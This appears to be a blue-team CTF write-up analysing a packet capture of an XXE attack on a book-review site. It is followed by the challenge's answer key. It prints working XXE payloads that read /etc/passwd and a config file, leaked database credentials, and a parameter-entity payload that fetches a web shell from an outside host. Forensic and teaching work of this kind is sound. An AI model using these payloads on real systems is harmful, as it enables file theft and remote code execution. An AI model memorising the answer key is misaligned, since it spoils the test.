

XXE Infiltration — Incident Investigation Report

CyberDefenders Blue Team CTF Challenge — Network Forensics (PCAP Analysis)

Target Host	pageturner4books.net (50.239.151.185)
Attacker IP	210.106.114.183
Attack Type	XML External Entity (XXE) Injection
Evidence File	XXEInfiltration.pcap
Analysis Tool	Wireshark
Incident Date	31 May 2024 (UTC)

Executive Summary

An automated alert flagged unusual XML traffic to the web server hosting pageturner4books.net, indicating a possible XML External Entity (XXE) injection attack. Analysis of the supplied packet capture confirms that an attacker discovered a book-review upload feature that parsed user-supplied XML without restricting external entity resolution. The attacker used this flaw to read local files from the server, including the system password file and the web application's database configuration file, recovering valid database credentials. These credentials were then used to authenticate directly to the server's MySQL service. The attacker also attempted to stage a remote web shell via a second-order XXE / SSRF technique, though the outbound retrieval was not observed completing within the captured traffic.

Attack Timeline

Time (UTC)	Event
11:50:58	Directory/file brute-force scan against the web server using gobuster (all 404 responses).
11:55:09	First malicious XML upload (TheGreatGatsby.xml) to /review/upload.php — XXE payload targets /etc/passwd.
11:57:03	Repeat request confirms successful local file disclosure of /etc/passwd, revealing local system accounts including a mysql service account.
12:03:12	Second malicious XML upload (ToKillaMockingbird.xml) — XXE payload targets /var/www/html/config.php, disclosing database host, name, username (webuser) and password (Winter2024).
12:08:49	First MySQL authentication (port 3306) from the attacker's IP using the compromised webuser credentials.

12:15:42	Third malicious XML upload (PrideandPrejudice.xml) — XXE/SSRF payload references external resource http://203.0.113.15/booking.php via a php://filter base64 wrapper, consistent with an attempt to stage a remote PHP web shell.
----------	---

Investigation Findings

#	Question	Finding
1	Highest-numbered open port on the victim web server	3306 (MySQL)
2	URI of the PHP script vulnerable to XXE	/review/upload.php
3	First malicious XML file uploaded	TheGreatGatsby.xml
4	Web app configuration file read via XXE	config.php
5	Password of the compromised database user (webuser)	Winter2024
6	Timestamp of first attacker MySQL login using stolen credentials	2024-05-31 12:08
7	Name of the web shell staged for RCE / persistence	booking.php

Detailed Technical Analysis

1. Open Port Discovery

Filtering the capture for completed TCP handshakes originating from the victim server (tcp.flags.syn==1 && tcp.flags.ack==1) showed responses only from source ports 80 (HTTP) and 3306 (MySQL). Sorting Statistics > Conversations > TCP by Port B confirmed 3306 as the highest-numbered open port, indicating the database service was directly reachable rather than restricted to localhost.

2 & 3. Initial Compromise — Vulnerable Endpoint and First Payload

The attacker uploaded a file named TheGreatGatsby.xml through the review submission form at /review/upload.php. The multipart request contained a classic XXE proof-of-concept:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

The server's XML parser resolved the external entity and echoed the full contents of /etc/passwd back in the HTTP response, confirming both the vulnerability and out-of-band file disclosure capability. The disclosed passwd file also revealed a local mysql service account, foreshadowing the attacker's next target.

4 & 5. Configuration Disclosure and Credential Theft

A second upload, ToKillaMockingbird.xml, repeated the technique against the web application's own configuration file:

```
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php" >
```

The response disclosed the application's database connection block in plaintext:

```
$db_host = 'localhost';
$db_name = 'pageturner';
$db_user = 'webuser';
$db_pass = 'Winter2024';
```

This gave the attacker a complete, valid credential pair for the database layer.

6. Database Compromise

Filtering on tcp.port==3306 and mysql.login_request for traffic occurring after the config.php disclosure (12:03:12 UTC) identified the attacker's first authenticated connection to the MySQL service at 12:08:49 UTC, originating from 210.106.114.183 and using the stolen webuser credentials. This is roughly five and a half minutes after the credentials were exposed, consistent with an attacker manually decoding the response and pivoting to the database.

7. Attempted Web Shell Staging

A third upload, PrideandPrejudice.xml, used a more advanced XXE technique combining an external parameter entity with the php://filter wrapper:

```
<!ENTITY % payload SYSTEM "http://203.0.113.15/booking.php">
<!ENTITY % internals "<!ENTITY file SYSTEM
'php://filter/read=convert.base64-encode/resource=%payload; '>">
```

This construction instructs the vulnerable parser to fetch booking.php from the attacker-controlled host 203.0.113.15 and return its contents base64-encoded — a technique commonly used either to exfiltrate a file's raw contents or to pull down and stage a PHP web shell for remote code execution and persistence. No traffic to 203.0.113.15 appears elsewhere in the capture, so the outbound fetch did not complete or was not captured; however, the payload itself is unambiguous evidence of the attacker's intent to plant booking.php as a web shell.

Recommended Remediation

- Disable resolution of external entities and DTDs in all XML parsers used by the application (e.g. libxml_disable_entity_loader(true) in PHP, or the equivalent secure-parser configuration for the XML library in use).
- Validate and restrict file uploads to expected types only; reject or sandbox any XML input where external entities are not a legitimate requirement.
- Rotate the exposed database credentials (webuser / Winter2024) immediately and audit for any further unauthorized database activity.
- Restrict MySQL (port 3306) to localhost or an internal network segment rather than exposing it to the public interface.
- Remove sensitive configuration files from web-accessible paths, or ensure the web server user cannot read files outside the intended web root.
- Deploy egress filtering to block outbound connections from the web server to arbitrary external hosts, limiting the impact of SSRF-style exfiltration attempts.
- Review the server for any dropped web shell artifacts (e.g. booking.php) and rebuild from a known-good image if persistence is confirmed.

Report compiled from analysis of XXEInfiltration.pcap using Wireshark (HTTP stream reconstruction, TCP conversation statistics, and HTTP object export).

Final Answer Key

Summary of submitted answers for the CyberDefenders XXE Infiltration challenge.

#	Question	Answer
Q1	Highest-numbered open port on the victim's web server	3306
Q2	Complete URI of the PHP script vulnerable to XXE Injection	/review/upload.php
Q3	Name of the first malicious XML file uploaded by the attacker	TheGreatGatsby.xml
Q4	Name of the web app configuration file the attacker read	config.php
Q5	Password for the compromised database user	Winter2024
Q6	Timestamp of attacker's initial MySQL connection using compromised credentials	2024-05-31 12:08
Q7	Name of the web shell uploaded for RCE and persistence	booking.php